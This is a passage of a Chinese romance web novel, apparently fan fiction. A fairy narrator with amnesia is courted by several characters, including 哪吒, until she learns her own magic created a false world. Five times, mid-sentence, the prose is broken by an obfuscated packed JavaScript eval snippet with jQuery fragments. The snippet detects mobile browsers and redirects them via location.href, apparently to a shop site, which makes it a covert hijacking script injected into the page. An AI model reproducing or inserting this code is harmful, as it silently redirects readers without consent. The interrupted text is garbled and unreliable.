片刻之后，他提醒我：“前辈，路走反了。” “……” 9. 甲2 16. 就这样，我们顺利抵达了超市。 “怎么着，我们各推一辆购物车？”我提议道，分开采购的效率会更高。 甲婉拒了这个提议：“我来推就好。” 意外的有点黏人呢。 吃一堑又吃一堑，我再次嘴欠道：“就这么想要跟我一起吗？” 我本以为他会羞涩地承认“是的”，然后我就可以继续调戏他，结果甲并没有这样说，他只是低头，看向自己握住购物车推杆的手。 “前辈昨天和鹿野大人玩得很开心吧？” 是挺开心的，他怎么知道…… 等一下，这种话听起来好像不太妙啊！ “今早见到鹿野大人的时候，她是带着笑容的，心情明显比往常好很多，我想一定是因为你的缘故。”甲继续说道，很平静的陈述，但莫名有种怅然的感觉，“想来，西木长老应该也是如此。” “前辈跟他们在一起的时候，应该也更开心吧，毕竟他们都比我优秀，能做到的也一定做得更好。”他说，“不像我，甚至连猜拳都输掉了。” 怎么回事，怎么突然自卑起来了！ “我没有这么想……”我试图解释。 大家的能力本就是各有各的用处，各司其职。相较于那两位，甲所欠缺的主要是经验，这一点可以慢慢积累。至于和他们相处时会不会感到更开心什么的，这种事情是没办法拿来比较的…… 糟糕，感觉怎么回答都很不妥。 我急得团团转，干脆往购物车里胡乱地放东西，以此来掩饰自己的心烦意乱。而在我再次拿起什么的时候，甲伸出手，和我一起握住了那个瓶子。 “前辈，这是芥末酱。”他说，“你不能吃的。” 哦哦，不小心拿错了，那他放回去吧…… 我松开手，瓶子被甲稳稳地拿住了。 望着他的身影，我忽然福至心灵。 其实就是这种感觉啊！ 或许别人也会记住我的喜好，但那都不是此时此刻。妖精的时间很漫长，但每一瞬都是独特的，当下陪着我的人是甲，这就是无可替代的呀。 但话不能真这么说，不然也太像渣女发言了。 背对着我的甲却开口了：“抱歉，我刚才不太冷静，让你听了好多幼稚的话……” 我挑了挑眉，伸手将购物车的推杆拉到了我的方向。 甲转过身来，惊讶地看着我。 “我想了想，还是我们轮流来推车比较好。”我朝他眨眨眼睛，“总感觉，以前好像很受你照顾呢……让我多少也做点什么吧。” “这种小事……”甲下意识地想推辞，却没能说出话来。 因为我的食指落在了他的唇边。 我告诉甲，无论这是什么事，都没有让他自己去做的道理。 既然今天是我们俩在一起，那就应该互相分担。 所以，他的烦恼也是。 虽然我到现在也没弄清楚为什么会是这样的局面，也不清楚其他人为何喜欢我……但是，我很高兴听到甲对我说出他的想法，而不是任由自己默默消化。 甲微微一怔，然后无奈地笑了笑。 “就是因为这样，我才会……”他将我手腕拿下，别过头去，“前辈不要多想，你这样优秀，喜欢你很正常。” 不要太捧我啦，我会当真的。 “是真的。”甲小声地反驳道，“一直以来，我都看到了。” “……” 购物车继续向前走。 不得不说，在超市一起采买东西什么的，真的好日常。一想到现在买的东西都是甲等会为我下厨时要用到的食材，一种淡淡的幸福感就会涌上心间。 如果说西木子陪伴了我的少年时期，鹿野是见证了我之后的成长，那么，甲所看到的我，究竟是什么样的？按照他之前说的话，他第一次见我的时候，应该还是个小妖精吧？ 这样的他，为什么会在长大后喜欢我呢？会不会是不小心把敬重和喜欢混淆了？ 疑惑围绕着我，我决定逐一寻找答案。 先从这个问题问起吧！ “甲，池长老那时候让你喊我阿姨，你拒绝了对吧？”我发动突袭，“那你最后是怎么称呼我的呢？” “……我当时跟师父说，这不太好吧。”甲这样说着，顺手往小推车里放了一袋看起来就很圆润可爱的小番茄，“师父问我为什么，你也问了。” 彼时的小甲同学还不是很擅长化形，刚结束飞行练习的他，只能勉力收起一边的翅膀，另一侧的蝠翼有些拘束地耷拉着，看起来不太对称。 “为什么不好？”我弯下腰，笑眯眯地问他。 是觉得我看起来比他师父更年轻吗？ “因为，因为……”小甲支支吾吾，“我不想。” 他觉得那样的称呼，听起来太有距离感了。 我被他的答案逗笑了，追问他：“那你想怎么称呼我？” “……” 哗啦一下，少年收回去的翅膀忽然出现，他不小心飞了起来。 与此同时。 甲的声音在我耳畔响起，回忆与现实就此重叠。 “姐姐。”他说。 17. 厨房里传来乒乒乓乓的声响，我坐在餐桌边，托着脸看甲。 甲穿着对他来说风格有些过于可爱的围裙，在厨房里忙忙碌碌，有些动作很熟练，有时候又会流露出一些生疏。 我不由得思索起来。 截至目前，虽然有三个妖精说自己是我的恋人，也都表现得跟我很熟的样子，但他们带给我的感觉是不一样的。 先说西木子。 他太聪明了，即使他足够真诚。这让他所展现的一切都像是他思考过的，仿佛一切都在他的掌控之中。除了我告诉他“我们逃走吧”的那一瞬间，他都表现得太从容了。 鹿野同样很从容。 她的从容不仅源自她的头脑，能力，还跟我和她之间的经历有关。我们的关系一定很好，所以她知道该如何与我相处，然后绰有余裕。 这两位的侵略感都很强，或许是因为他们自身的气场就是如此强大。 而相较于他们，甲就自然很多。 甲很坦率，这种坦率不是天然系那种打直球，他只是很习以为常地在做什么，因为他对自己的身份深信不疑。可这样的他，背地里却又妄自菲薄…… 是以退为进吗？ 我相信他只是在实话实说，但他未必没有发现我们之间过于亲近了的问题。 “甲。”我站起来，靠在厨房的门框上，唤他。 “嗯？”甲偏过头看我，额头上因为热气而凝结的水珠正顺着他的脸颊落下来，一路滑落到脖颈，流入解开扣子的衬衫领口。 “……” 那个，我想说什么来着？ 哦对，我想问他…… “其实，你总共也没喊过我几次‘姐姐’吧？”我说。 甲关掉火，将锅里的菜盛出来，一时间室内香气四溢。 “是的。”他又回头看我，“因为那样……太像撒娇了。我不想被前辈一直当作小孩子看待。” 我不禁哑然失笑。 很好，看来他并没有把孺慕与喜欢混淆在一起，他明确知道自己的心意，只是因为我对他毫无防备，于是一直保持着这样的亲近。 ……那么，他究竟是如何意识到的呢？是池长老让他送我回家那次，发生了什么吗？ 姑且先弄清楚当时的情况吧。 甲说好，然后回忆起来。那天他师父与好几位同事一起聚餐，因为大家终于完成了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743486|189765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个耗时许久的任务，庆祝了很久。他本来是被芷清推过来接师父的，却被池年指派给了我。 “甲，你来得正好。”池年说，“一个没看住，这小姑娘就喝了两瓶酒……西木子说她喝多了就会睡着，我把她家地址发给你，你送她回去，等到了地方，直接把她拍醒就行。” “我吗？”甲指了指自己。 “不然要我去送？”池年皱眉道。 ……那还是不劳驾师父了。 嗯，师父也喝了酒，不能酒驾。 就这样，刚拿到驾照的甲开车送我回家。 据说我一路上都很安静，只是等他停好车，过来帮我打开车门的时候，我突然睁开眼睛，拉住了他的手臂。 ……啊，我似乎也想起来是怎么回事了。 彼时的我晕晕乎乎的，醉眼朦胧看向甲。 “你。”我朝他发号施令，表现出来的模样却像是撒娇，“背我嘛。” 甲：？ 大约是知道与喝多了的人计较是没用的，甲非常听话地照做了。 “……好的，前辈。”他蹲下来，方便我俯身趴到他背上。而我也不客气地这样做了，还顺势勾住了他的脖颈。 甲稳稳当当地托住了我。 他本应立刻送我回家，醉意上头的我却不愿意，执意让他背着我在小区里转圈。 “难道你不想跟我多说会儿话吗？”我靠在甲的脖颈上，气呼呼地说。 “……” 在我的胁迫下，甲被迫听我嘀嘀咕咕地与他说起了一些距离他似乎很遥远的人和事。 比如—— “那天西木子应该去追我的！”我忿忿地说，“虽然我肯定不会跟他回去，但他怎么试都不试一下呢？” “……感觉有点羡慕呢。”甲小声地说道。 羡慕什么？ “前辈和西木长老关系很好。”他说。 什么啊，我和那家伙…… 甲是不知道，西木子超级自恋的，他以前跟我说他不收徒，是怕徒弟会爱上他。我就和他开玩笑说，那好吧，我来给他当徒弟，因为我绝对不会爱上他。 西木子问我，话说得这么确定，是对今后的伴侣已经有所想法了吗？ 我说对呀，我要和听我话的人在一起。 西木子吐槽我，要求好低。 说到这里，可能是太不高兴了，我甚至张牙舞爪，不小心揪着了甲的头发。那种感觉应该不太美好，但甲一声不吭，完全没有抱怨，他只是耐心地听我讲完了这段没有前因后果，甚至有些语无伦次的回忆。 “哼，还是我们小甲同学最好了！”我将他搂得更紧了一些，隐约感受到甲的呼吸微微一窒，“你可是我从小看到大的，德智体美劳样样都优秀，跟其他妖精都不一样……” 甲忽然说：“我也觉得前辈的要求太低了。” 这话让我微微一怔。 是吗？ “是的，如果听话的人不止一个，您该如何选择呢？”他冷静地说。 “……” 酒精麻痹了我的大脑，我想了良久，也没想出一个完美的答案，干脆反问他道：“你觉得我该如何选呢？” “我觉得吗……”甲低声道，“那我认为，您应该选最听话的那个。” 最听话的？ 我迟缓地思考着，感觉有点道理。 “那我就选最听话的。”我重复道。 甲似乎笑了一下。 “嗯。”他的笑声也低低的，“这样就好。” “好什么？”我歪了歪头，迷迷糊糊地问他。 甲的语气轻快起来：“因为，我已经做到了。” 我更迷糊了：“什么呀？” 甲偏过头看我。 “我不是一直对您，百依百顺吗？”他说。 10. 失忆第五天 18. 失忆的第五天。 超大屏电视，被操控的两个游戏角色正在激战。 “哪吒，我感觉我的感情状况有点不对。”我一边按着游戏手柄，一边严肃地说。 “你确定只是‘有点’？”哪吒说道，视线并未离开屏幕。 主要是—— “虽然我已经有三位老公了，”我说，“但我还不是任何人的老公。” 哪吒：？ 屏幕上的角色身形一歪，狠狠地吃了一个大招，所剩无几的血条瞬间清空。事已至此，他干脆撂下手柄，抱着手臂看我。 “怎么，三个都满足不了你？” 喂，不要用这么可爱的模样说出这么奇怪的话嘛！ “我开玩笑的啦。”我也放下了手柄，“就是总感觉，我实在没有脚踏三只船的本事……” 西木子，鹿野，甲，他们与我的关系都很好，我并不讨厌他们，甚至可以说是颇有好感。 ……但是，他们真的是我的恋人吗？ “是吗？我倒是觉得你很有野心呢。”哪吒闲闲地说，“刚才不是还想着再多来几个？” 都说了是开玩笑。 既然哪吒是我的管家大人，只顾着打游戏可不行，不如来帮我一起复盘一下，看看谁才是我的真爱？就当是打乙女游戏好了。 “行吧。”少年紧盯着我的眼睛，向我的方向倾身，“我会好好听着的。” “……” 突如其来的压迫感…… 我躲。 向后一倒，我靠在了懒人沙发上，简单地与哪吒讲述了这几天的经历。 首先是西木子。 “哪吒，你在人间许久，有没有听过‘卓文君’这出戏？” 哪吒顿时露出了了然的笑容：“是这样啊。” 他说他早就和西木子说过，这出戏可不是什么好兆头。 确实，或许早在我在意这出戏时，就已经预示了某种结局。因为从某种程度上而言，我与卓文君的情况有些相似。 彼时的卓文君寡居在家，未来的一切都是未知数。与其说是她选择了司马相如，不如说是她借此选择了自己所能选的范围里的，最大限度的自由。 我亦选择了自由。 只是现在想来，那种“可以做出选择”的处境，其实正是西木子为我创造的。他大概是想借此试探，看我究竟会做出怎样的选择。 当时的我以为，摆在我面前的选择仅有两个。 其一，和西木子去看流星雨，看完之后他会把我送回师门，离开的机会就此错失。 其二，抛下约定，独自下山闯荡。 诚如剧本只会写到当垆卖酒，可在二人私奔后，男方想要纳妾，还是卓文君写了《白头吟》，这才挽回了这段婚姻。 但在我看来，故人变心的那一刻，二人已是覆水难收。 依靠别人，终究不如靠我自己。 我选了没有西木子的那个选项。 “在意识到自己一开始就没成为你的选择时，他就退却了。”哪吒摇了摇头，“啧，西木子就那样，但凡更主动点呢？” ……是啊，如果西木子那时选择去追我，结果或许会不一样。 都怪他，总是用游戏人间的态度对待所有人，以至于我根本就没有发现，我面前竟然还有第三个选择。 其三，选择对西木子说—— “我们，逃走吧。” 就像折子戏里私奔的男女主角那样，无论未来如何，此时此刻，我们将前途捆绑在一起，即使坠落，也不是独自一人。 西木子应该很想听到我对他这样说。 可惜的是，这句话，我过了很多年才告诉他…… “太聪明了反而不是好事。怎么说呢，最喜欢自由的人，反而被束缚住了啊。”哪吒颇有前辈风范的点评道，他看得倒是很通透。 “不过我觉得，他应该还没有放弃哦。”他说。 “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743487|189765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我并不觉得西木子是会后悔的妖精。 但也许，我是他的例外。 “对了，你要喝可乐吗？”哪吒站了起来，“或者是橙汁？” “可乐，谢谢。”我回答他。 哪吒揉了一把我的头发：“跟我还客气什么……” 片刻之后，一罐打开的可乐被递到了我手中，伴随着哪吒的提问。 “那鹿野呢，你对她是什么看法？”他问，“我觉得她和西木子的差别还是挺大的。” 是这样，鹿野和我虽然没有那样深的渊源，却相逢于年纪最好的时。那时的我们都很意气风发，而且相较于西木子，她是更加主动，更加果断的狩猎者。 但她一开始不是这样的。 我认识鹿野的时候，她已经有了无限大人这个师父，可由于曾经失去了太多，她在心底仍旧抗拒着与他人建立亲密关系。 纵使我们如今的相处十分融洽，但一开始的她，大概不想和我在工作之外产生什么交集。我猜我没少因为她的回避态度而吃闭门羹。 当然，我知道，鹿野并非讨厌我，她只是…… 哪吒将双手枕到颈后，一语道破其中的关键。 “她只是怕自己得到的，会再次失去吧。” “……” 是的，其实在我和鹿野相遇的时候，她就已经很强大了。她早就挣扎着成长为了很可靠的妖精，她足以保护自己所在意的人。 正所谓当局者迷，旁观者清。 “这样的话，就只剩下年的徒弟了。”哪吒说道，“事先说明，我对那孩子没什么意见，他看起来是很听话。” “但跟那两位相比，实在有点不够看吧？” 道理是这样，不过—— “我觉得，小甲不一样。”我认真地说道。 “哦？哪里不一样？” 我垂眸，看向自己手中的可乐。 “和他在一起时的心情，有点像是……” 摇晃的碳酸饮料。 11. 哪吒 19. 复盘过其他人，再来看我自己。 假如我真的是那种风流成性的妖精，没道理会跳过哪吒呀。我是说，毕竟哪吒和他们一样，都是我的置顶。 “话别说得这么自信。”哪吒瞥了我一眼，“说不定你心里对我有着非分之想呢。” 冤枉呀，人家对他的心意是很纯洁的！ “呵。”一声轻笑从少年的唇角溢出，我偏过头来，想要控诉哪吒对我的不信任，却听哪吒说道，“倘若你真的坦荡……我有个办法，可以证明。” 什么？ 下一秒，我整个人朝着哪吒的方向跌过去—— 突然冒出来的混天绫卷住了我的手臂，很轻巧地将我往旁边一拉，让我险些扑到他怀里，如果腰部没有被他及时扣住的话。 饶是如此，我依然有些仓皇，因为我们几乎是腿贴着腿，也因为哪吒揽我的动作越收越紧。 “你……” 我想问哪吒这是要做什么，而被混天绫束缚着的我的手，已经被他握住了。少年牵引着我的手，逐渐向他靠近，最后停在了他的脸颊旁边。 “……” 好令人心猿意马的场面。 话说这家伙的脸颊捏起来，手感应该很好吧？ 哦，我懂了，哪吒就是想要拿这个考验干部！ 果然，哪吒说，其实他早该告诉我，喜欢往往会让人无法控制边界感，做出一些亲密的举动，讨厌就会排斥，喜欢就会包容，甚至忍不住继续靠近。 想要判断谁才是我真正的恋人，办法并不难。 是合格的管家应该说的话呢。 但是很遗憾，我已经识破了！我才不会被他捉弄到。 “……” 我的身体突然僵住了。 等等？这是在—— 我原以为哪吒会用我的掌心触碰他的脸颊，可他并没有这么做。少年只是歪了歪头，脸颊往旁边一偏，我的手就落在了他的唇边。 难以形容的，柔软的触感。 他他他……他亲了我的手指？！ “嗯？这就脸红了？真弱。”哪吒说，声音里有几分笑意，“我本来还想做点更那什么的呢……” 他到底想做什么？ “就，咬一下手指？”他的语气听起来有些玩味，眼神却非常认真，充满了侵略感，让我想要后退，却退无可退。 “或者，咬一下其他的位置。” 如此直白…… 我慌乱起来，一半是羞，一半是恼。哪吒却还在继续取笑我：“你也太没有防备心了，很容易就让人家为所欲为。” 谢谢，我知道了，因为他已经在这样做！ 但姑且容我狡辩一二。 这不是因为对面是他吗？先不说他的实力完全碾压我，就我们之间那非同寻常的信任程度，也不是其他人可以相比的呀。 “是吗？很高兴你这么信任我。”少年意味不明地说，“那就这样吧，干脆直接跟你最信任的人在一起得了。” 我：？ 好莫名其妙的话。 “难道，你在吃醋？”我难以置信道。 依照我对我们俩关系的判断，他应该只是我的好朋友吧？友情方面的吃醋真的会达到需要进行这种考验的程度吗？ “哪有，我可是前辈。”哪吒说，“我大度得很。” 这话听起来就很小气啊！ 说是考验我，但怎么想都感觉—— 真正有非分之想的人，不是我，而是他。 想让我就范，自己却不承认？哪有这等好事。如此看来，我们之间的对战并没有因为游戏手柄的放下而决出胜负…… 这样想着，我直接心一横，恶向胆边生！ 我反手一按，捂住了他的嘴巴。 哪吒：？ 他愣了一下，但还处于看戏的状态，似乎认为我不可能真的把他怎么样。但随着我和他的距离越来越近，呼吸也交织在一起，哪吒逐渐变了脸色。 我确实不能对他做什么。 我只是在他亲过的手指处，印上了我的吻。 嘴唇之间，分明隔着我的手。 但手指覆盖的地方，已经变得滚烫。 哪吒跳了起来。 “喂！”他沉着脸说，“你是笨蛋吗？” “我可能是。”我大大方方地挑衅他，“那么，您是什么时候对笨蛋有非分之想的呢？” 让我猜猜，是我们成为朋友的时候，还是更早以前，刚认识的时候？又或者……哎呀，哪吒大人，您不会对我是一见钟情吧？ “……真是烦死了。”哪吒嘀咕道。 是吗？那我走—— “气性还挺大。”哪吒哼了一声，“没说你，只是说你说话的语气。” 他说我在某些时候，特别喜欢用西木子的语气说话。 虽然这是无法避免的，对方留在我这里的痕迹，因为我就是西木子教出来的，但是…… “真是烦死了。”少年嘀嘀咕咕，从我身后环住我。 20. 我的猜想并不正确。 事实上，哪吒在更久以前就知道我。 妖精们爱传八卦，所以他一开始就知道，西木子的师父捡了一个心灵系的小妖精回来，能力非常有趣。只是西木子不想收徒，所以那孩子最后给了他师姐。 哪吒在老君那里见过西木子，狐狸一派潇洒自由的模样。不错，他们妖精天生地养，理应是自由的，既然如此，他就不取笑对方逃避责任的行为吧。 只要西木子不提及，哪吒就不打算与他聊这个话题。 直到某一天，他第一次从西木子那里听说我。 不是传言里的陌生的小妖精，而是明确的，具象化的，从熟人口中提到的我—— “有句话很有意思。”哪吒说，“如果你能对方的叙述中，觉得他所说的那个人有点可爱，那一定说明……” “叙述者本来就喜欢她。” 起初，哪吒只是觉得我很有趣，因为面热心冷的西木子对我颇为在意。 那时的他置身事外，甚至提醒过西木子。只是聪明人也会有一叶蔽目的时刻，在那之后过了许久，久到无限都收了徒弟，西木子忽然寄信过来。 信中说，他的师侄离家出走，如果大家偶遇到那孩子，还请麻烦照顾一二，日后定会上门感谢——捏着信纸，哪吒露出了和如今一样的，思索的表情。 “你似乎比我想象中，还要有意思。”他对我说。 又过了不知道多久，哪吒在会馆偶遇了无限和他的徒弟。 彼时的鹿野已经出师，最近的表现颇为亮眼。作为可靠的前辈，哪吒并不吝啬于对后辈的夸奖，却听鹿野说，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743488|189765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桩任务不全是她一个人的功劳。 这是他第二次从熟悉我的人口中，听到我的事迹。 “无限的徒弟居然也很在意你。”哪吒拉着我的手，拨我的手指玩，“那时我就想，一定还会有下一次。” 他一定还会再次听到我的名字。 如同他想的那样，这样的时刻很快就到来了。 就是说这话的妖精，令他有些诧异。 池年的徒弟，甲。 相较于西木子和鹿野，甲并不是很擅长隐藏自己的真实想法，哪吒只听了一句话就知道他在想什么。然而这世界上，除了不怎么关心这方面的池年，居然还有人能迟钝到对这孩子的想法毫无察觉—— “不许趁机说我坏话。”我不高兴地说，准备抽回自己的手。 “好好好，不是你的问题。”哪吒捉回了我的手腕，“而且年和无限的关系那样一般，谁能想到他俩的徒弟会在审美上如此一致……表面纯良，心里却以下犯上。” 作为旁观者，哪吒决定好好看热闹，他甚至暗自估算了每个人的胜率，就像是追连载的话本子一样，期待着下一次的剧情发展。 直到那一日，少年一时兴起，混入了一个漫展。 展商设置了许多游戏互动区，哪吒拿着买的周边路过时，看到一个小朋友正在玩抓娃娃。那孩子好像已经玩了一段时间，却两手空空，看起来非常沮丧。 正好他心情不错，过去帮一下吧。 哪吒这样想着，向前走去，不料竟被人抢先一步。 “……” 原来是在说这件事啊，这的确是我和哪吒认识的契机。 那天我和池年的徒弟们来漫展玩，在场馆中不小心走散，然后在展商区发现了一个可怜兮兮的小朋友。 “你想要哪个？”我弯下腰，问那孩子，“我来帮你。” 片刻之后，我帮那个孩子抓到了毛绒娃娃。 “嗯，我当时就看出来你是妖精了。”哪吒说，“但我并不知道那就是你。” 我明白他的隐私，因为将传言与本人就此对号入座，并不是一件简单的事情。 而因为哪吒的打量太明显了，彼时的我转过身来，与他就此对视。 场馆里的灵非常混乱，而且有很多coser，我因此没有认出哪吒，只是把他当成了另一个落单的小朋友。 我甚至问他，你也想玩吗？那我们一起吧。 哪吒当时就问我，为什么和他说的话，跟对那孩子说的不一样？ 因为他看起来不需要帮助？ 我被他问得一愣，是哦，我为什么会这样说？大概是本能吧。 本能让我觉得—— “你看起来，好像很想和我一起玩。”我说。 和那时一样，哪吒笑了一声。 就这样，我们成了朋友。 ……话说，这家伙重提旧事，不会是想批判我有眼无珠吧？ “胡说什么呢。”哪吒看我一眼，“我只是在那一刻，突然认出了你。” 不是其他人所叙述的我，而是真实的，鲜活的，我本人。 哪吒想，看其他人争来争去，估算胜率，虽然有趣，可这毕竟是有限的。一旦他们争出什么结果，他不就无法看戏了？ 为了长久地感受这种趣味，身为裁判的他，决定—— 亲自下场。 12. 真相 21. “……” 我露出了天塌了的表情。 “怎么，你不乐意？”哪吒说。 哈哈，如果我说我只是突然察觉了真理的本质，他信吗？ “我信。”哪吒靠到沙发上，“看来，你终于发现了。” 是啊，在第四个妖精对我表明心迹的瞬间…… 我的游戏，通关了。 想起来了，我全都想起来了。 ……这个世界，是假的！ 其实，我对此早有所怀疑。 因为我对自己的人品还是很有自信的，我绝对不是那种会乱来的妖精，因此，这个世界的设定从一开始就很不合理。 “没错，很高级的心灵系法术。”哪吒点评道。 确实很高级，如果这一切都是虚构的，至少像西木子这样的心灵系专家会发现……不对，他大概早就察觉到了，只是在装傻！ 不说西木子，就说鹿野，普通的心灵系法术困不住她，她之所以被迷惑，是因为—— 除了这个“世界”之外的一切，全都是真的。 我的意思是，西木子、鹿野、甲，他们全部都是我现实中的熟人，他们所提到的过往，也的确都是我与他们真实经历过的。 只是细节上有所出入。 这三个妖精，全都不是我的恋人。 ……就说我的生活不可能像是乙女游戏嘛！！ “太偏心了吧，只提他们，不提我。”哪吒说。 他还好意思说！ 假如西木子是因为别有目的才被困住的，那么哪吒呢？他这种级别的妖精，就算这个法术再高级，他也绝对不可能中招。 依我看，在我眼前的哪吒…… “你是真实存在的哪吒吗？” 我打量着他，严重怀疑他只是这个世界设置的，为了达成通关机制才存在的NPC。 哪吒说，你猜。 可恶啊，我才不要猜。 比起这个，自己的法术不小心失控，害过来聚餐的朋友们全部陷入其中，被我玩弄，而且醒来后还会保留记忆什么的…… 想一想我就想要连夜逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743489|189765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离地球！ 这让我如何面对大家啊！！ “对啊，这就是你师父她们不让你下山的理由。”哪吒补刀道，“因为你的能力不够稳定，偶尔会突然发作，强制把周围的人都牵扯进去，自成一个世界。” 而我本人，则会短暂失忆，直至找到恢复意识的锚点。 至于为什么大家都在梦里爱上了我…… 大概是因为我最近在狂打乙女游戏吧，哈哈。 我抱住头，不愿面对现实。 “不要摆出这副面如死灰的表情嘛，太扫兴了。”哪吒戳了戳我的脸颊，“别担心，等你醒来，我会救你于水火之中的。” 真的吗？ 不，等我醒来，我一定要立刻跑路。 信神，信人，都不如信己。 能从社死中救我的只有我自己！ 在我决定面对现实的瞬间，周围的一切开始缓慢消散。 意识消失的最后一秒，我听到哪吒说—— “等会见。”他笑眯眯的，听起来很从容。 “……” 13. 主线·True Ending 【主线·True Ending-心的距离】 再次睁开眼睛的时候，我仍旧在哪吒家里，但这一次，其他人都在。 太好了，回来了！ 这才是我的“真·结局”啊！ 好消息是，我的能力的机制给我留下了逃走的时间，我比所有人都先一步醒来。 坏消息是，哪吒正在打游戏。 果然，我就知道他不可能被我的能力影响到…… “哟，欢迎回来。”少年挑了挑眉。 来不及与他叙旧，我一下子就跳了起来：“哪吒，帮我照顾一下他们——”我会对大家道歉的，但那要在一段时间以后！让我独自冷静一下吧！ “等等。”在这样火烧眉毛的时刻，哪吒的混天绫一把将我拖了回来，“事已至此，你姑且选一个吧。” 喂，不要说一样的台词啊！ “嗯？”哪吒若有所思，“原来那个世界的我也是这么说的吗？这样啊，那我该怎么解决问题了。” ……什么？ 除了逃走和道歉之外，还有解决这个糟糕现状的办法吗？ “有啊。”哪吒用理所当然的语气说，“选我。” 他罩着我，就没人敢找我麻烦了。 我就不该指望他有什么好办法！ “祖宗，您就别添乱了吧。”我拼命挣扎，“既然还把我当好朋友，就赶紧放我走。”他都没进那个世界，那个“哪吒”所说的话自然一个字都不能信。 “添乱？”少年的语气变得危险起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743490|189765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我与他距离，再次骤然缩短。 被迫与哪吒对视的我，听到他在我耳边说：“你就没有想过……” “为什么只有我，没有中招？” “……” 难道不是因为他强得离谱？毕竟他是神啊。 哪吒说，他听说过一个有趣的传闻。据说，强制型心灵系法术很难免疫，除非一直在提防。但是，有时候也会有个别没有防备的人，安然无恙。 那一瞬间，所有人都昏睡了过去，包括我。 于是，他想起了这个传闻的后半段。 “那些极个别的人，往往已经走入了施法者的内心。”哪吒眨了眨眼睛，“你猜，我到底属于哪一种？” 【或许，他才是早就赢得比赛的那个。】 14. 主线·Open Ending 【主线·Open Ending-始乱终弃】 数月后。 一个风和日丽的好天气，无限大人携他的徒弟小黑一起过来拜访哪吒大人。 “其实是哪吒找我师父打游戏哦！”小黑说。 这个我知道，所以才有这一次的聚餐，不过嘛…… 我目光落在旁边另一个嘟嘟囔囔的妖精身上，他和无限的关系也不是很好，和小黑的关系倒是微妙，也不知道哪吒是不是故意的，居然攒了这么一个游戏局。 嘛，但我只负责吃饭，这一切和我没什么关系。 “池长老，池长老，您慢点——” 余和洛慌乱的声音响起，池年大步地闯了进来，瞧着怒气冲冲的。 “别担心，你们下去吧。”哪吒对余和洛说，转头看向池年，“年，你来得正好，我们正准备开饭呢。” “我不是来找你的。”池年沉着脸，目光落在了我这里。 我：？ “你——你是不是对甲始乱终弃？！” “……” 相较于震惊的其他人，哪吒拍腿大笑。 池年说，甲最近看起来一直闷闷不乐，芷清说甲可能是失恋了。他大惊失色，甲什么时候恋爱的？然后才知道了甲似乎对我有些意思。 为了给徒弟讨个说法，池长老杀到了我家，然后得知我在哪吒这里。 我稍稍目移。 不说西木子，另一位当事人的师父也在这里呢。 还好无限大人没有质疑我是不是对鹿野做了什么…… “池长老，我真的没有玩弄任何人的感情。”我羞愧地道歉，“相信我，这一切都是意外……” 哪吒也说：“年，这真的只是误会。” 按理说，有哪吒为我作保，池年理应恢复理智，然而—— “不行，你一向偏心她。”池年说。 “池长老，我也觉得这其中有些误会。”无限说道。 谢谢你，无限大人！ 但是，他不开口还好说，他一开口，池长老的矛头立刻换了人—— “你也在这？”池年皱眉道，旋即，他发现了坐在旁边的另一个妖精，“你们居然能坐在一起，这到底是怎么回事……” “风息？” “……” 我猛然意识到，随着池年的到 